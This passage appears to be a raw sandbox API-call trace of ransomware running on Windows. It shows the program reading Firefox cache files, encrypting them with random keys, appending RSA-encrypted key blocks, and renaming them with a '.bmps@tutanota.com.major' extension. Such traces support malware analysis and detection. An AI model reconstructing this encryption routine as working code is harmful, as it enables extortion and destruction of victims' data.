lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4453) returned 1 [0295.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1165) returned 0x2f81868 [0295.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1165) returned 0x3437008 [0295.109] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1165, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1165, lpOverlapped=0x0) returned 1 [0295.179] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0295.179] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0x1165, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1165, lpOverlapped=0x0) returned 1 [0295.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0295.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0295.180] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1165 [0295.180] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.180] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.180] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0295.180] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0295.180] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0295.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0295.180] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="44mh7Zxxx8zpVUTfht9Q+6OWcCaymyN9+fdcCwBSB6sySxE3JJoqecYw+eLJvzbC\n/V846T9/h6O3cZLfhYZLB191oxgHAl2lGSuiRxiYTwb+Pbpq6P/fbXQ+IsJrfCpx\natczT2apIYdVNgPPl+i+g1+FhOB2N6VRU43koQcLcgPBSjnJD/t1nOLi5its2cfI\nnHNbhgUFID55cACBaPscu1f+K3//jcWCf6GkJCA2rG5A8UQE0d6KZSAWEYGGxG5M\npvLvnZNHsBQRaqnrgNKKZO/f2O8jV5+UcXEERAfrh9RsLwUf6hdiKByeMgBG9gUg\nnpW/ZIwxhUeKL3hQEwlRWA==\n", pcchString=0x2e3f9a8) returned 1 [0295.180] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0295.180] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.180] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.181] CloseHandle (hObject=0x1b84) returned 1 [0295.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0295.181] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0295.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0295.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0295.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2660 | out: hHeap=0x570000) returned 1 [0295.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2d98 | out: hHeap=0x570000) returned 1 [0295.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee33c8 [0295.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0295.183] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0295.183] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", dwFileAttributes=0x80) returned 1 [0295.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3e18 [0295.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0295.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3e18 | out: hHeap=0x570000) returned 1 [0295.184] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0295.184] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=391) returned 1 [0295.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x187) returned 0x57eca8 [0295.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x187) returned 0x581478 [0295.184] ReadFile (in: hFile=0x1b84, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x187, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x187, lpOverlapped=0x0) returned 1 [0295.185] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0295.185] WriteFile (in: hFile=0x1b84, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x187, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x187, lpOverlapped=0x0) returned 1 [0295.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0295.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x581478 | out: hHeap=0x570000) returned 1 [0295.186] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x187 [0295.186] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.186] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.186] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0295.186] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0295.186] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0295.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0295.186] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oSK6kRA7t7uqC2PpQPBEto1ZRidc0uQXbR996SzG6twHICF6/GYIlxc8khuXc6bh\nnIZsAHW809nRO8CS94d8lT5A+jPiX86TxXIzHuaFMKx5fz8cl8ZJ1lR62ehjtMV+\nPKz5ju58LAJ6aLRUMuNsCSkPjvLGSs8UwTeX3pnsUCiPl4SDclPPxJyJgkm0m0xl\na7ifU06x1VHxo+CT2mkrpeYWwPj0pe2LP/MGdrSSr0AZOzZKSHndZSzHcJKqcD7/\nRRccC6HpaIoYyy6RtypY7pMWpnMX/lzH9bsmEDeXnPa2r03ZuKj+TaAdiradwMeF\nV3rlXdTsI9lOKQIZl/Drcg==\n", pcchString=0x2e3f9a8) returned 1 [0295.186] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0295.187] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.187] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.187] CloseHandle (hObject=0x1b84) returned 1 [0295.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0295.187] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0295.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0295.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0295.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee33c8 | out: hHeap=0x570000) returned 1 [0295.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee31b8 | out: hHeap=0x570000) returned 1 [0295.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65b188 [0295.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0295.190] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0295.190] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", dwFileAttributes=0x80) returned 1 [0295.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65ac60 [0295.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0295.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ac60 | out: hHeap=0x570000) returned 1 [0295.190] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0295.191] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=978) returned 1 [0295.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3d2) returned 0x66e948 [0295.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3d2) returned 0x2f3e850 [0295.191] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x3d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x3d2, lpOverlapped=0x0) returned 1 [0295.411] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0295.411] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x3d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3d2, lpOverlapped=0x0) returned 1 [0295.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0295.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0295.411] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3d2 [0295.411] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.411] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.411] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0295.411] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0295.412] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0295.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0295.412] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KEXkzkUgS00dW70kcBbkoKUGFbdw7/J0OoQKYJOcf1w+AEh9WLTdFENU5J/hlXVJ\nqgIsh3lvpPy2fd4fQ//gDDxs+C8z9S0uhCKjqZur66dFsPW1M+FT6ZRhZmmNt2KR\nXQ6w2A/0uZ4V3xQdR7V6GgpOskW+8759djrHq/HJO8dNKpVMHf5Ta4JGLKBOlAAE\nhDRuOmvVThdVE0okdWE182JZUT2VB5t4/3ybGxwHtddfym5Dt4gHA8012i4XZBtB\n6jJiGXtBrPo+HjbwXNS45tDH3tL5YOXMTXZDmngqS9kUP/i5mps63dLPa2SuYaHN\nB2/176/aevdanZcRhJCNBw==\n", pcchString=0x2e3f9a8) returned 1 [0295.412] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0295.412] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.412] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.412] CloseHandle (hObject=0x1b84) returned 1 [0295.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0295.413] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0295.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0295.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0295.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65b188 | out: hHeap=0x570000) returned 1 [0295.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660438 | out: hHeap=0x570000) returned 1 [0295.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660438 [0295.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0295.878] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0295.878] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", dwFileAttributes=0x80) returned 1 [0295.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x65ae70 [0295.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0295.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ae70 | out: hHeap=0x570000) returned 1 [0295.878] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0295.879] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4596) returned 1 [0295.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11f4) returned 0x2ee2008 [0295.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11f4) returned 0x2f81868 [0295.879] ReadFile (in: hFile=0x1b84, lpBuffer=0x2ee2008, nNumberOfBytesToRead=0x11f4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ee2008*, lpNumberOfBytesRead=0x2e3f9b4*=0x11f4, lpOverlapped=0x0) returned 1 [0295.925] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0295.926] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0x11f4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11f4, lpOverlapped=0x0) returned 1 [0295.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2008 | out: hHeap=0x570000) returned 1 [0295.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0295.926] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11f4 [0295.926] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.926] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.926] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0295.926] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0295.927] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0295.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0295.927] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZLjACIh54Q9m1prT2HrAi67IprLIHEPi90dSEDnTTKZRIx9sj0OPzGiED6SfBBDj\nZe9aqUi9ujg5hP0pAKWuwa2/iWXXzLYt6uyJpNWzfrPPEou02r/45PxdoudWi3o9\nEIvcDBxCUEqhByWEI2Nxxc1BzrZy/SQ6XIXgFs13FsG3dYe5guEl3zy9FmaIwC4b\nbz10tPoB6Nkd4Zptu/8t+g0Ecen75SmzoBD5YHFRBnMwmlOTSnPdYAgxOo8hBxHV\nfFfGt3Bg9LAylkWehvBJcc1o7bm/yAxazxdHBJb7uGZ3DOicLazEGEr3a9Cb6Ft6\n8gmfFfe9nVogoUHXNlVDSQ==\n", pcchString=0x2e3f9a8) returned 1 [0295.927] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0295.927] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.927] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.927] CloseHandle (hObject=0x1b84) returned 1 [0295.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0295.927] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0295.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0295.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0295.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660438 | out: hHeap=0x570000) returned 1 [0295.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660330 | out: hHeap=0x570000) returned 1 [0295.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660330 [0295.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0295.930] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0295.930] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", dwFileAttributes=0x80) returned 1 [0295.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660438 [0295.931] RtlAllocateHeap 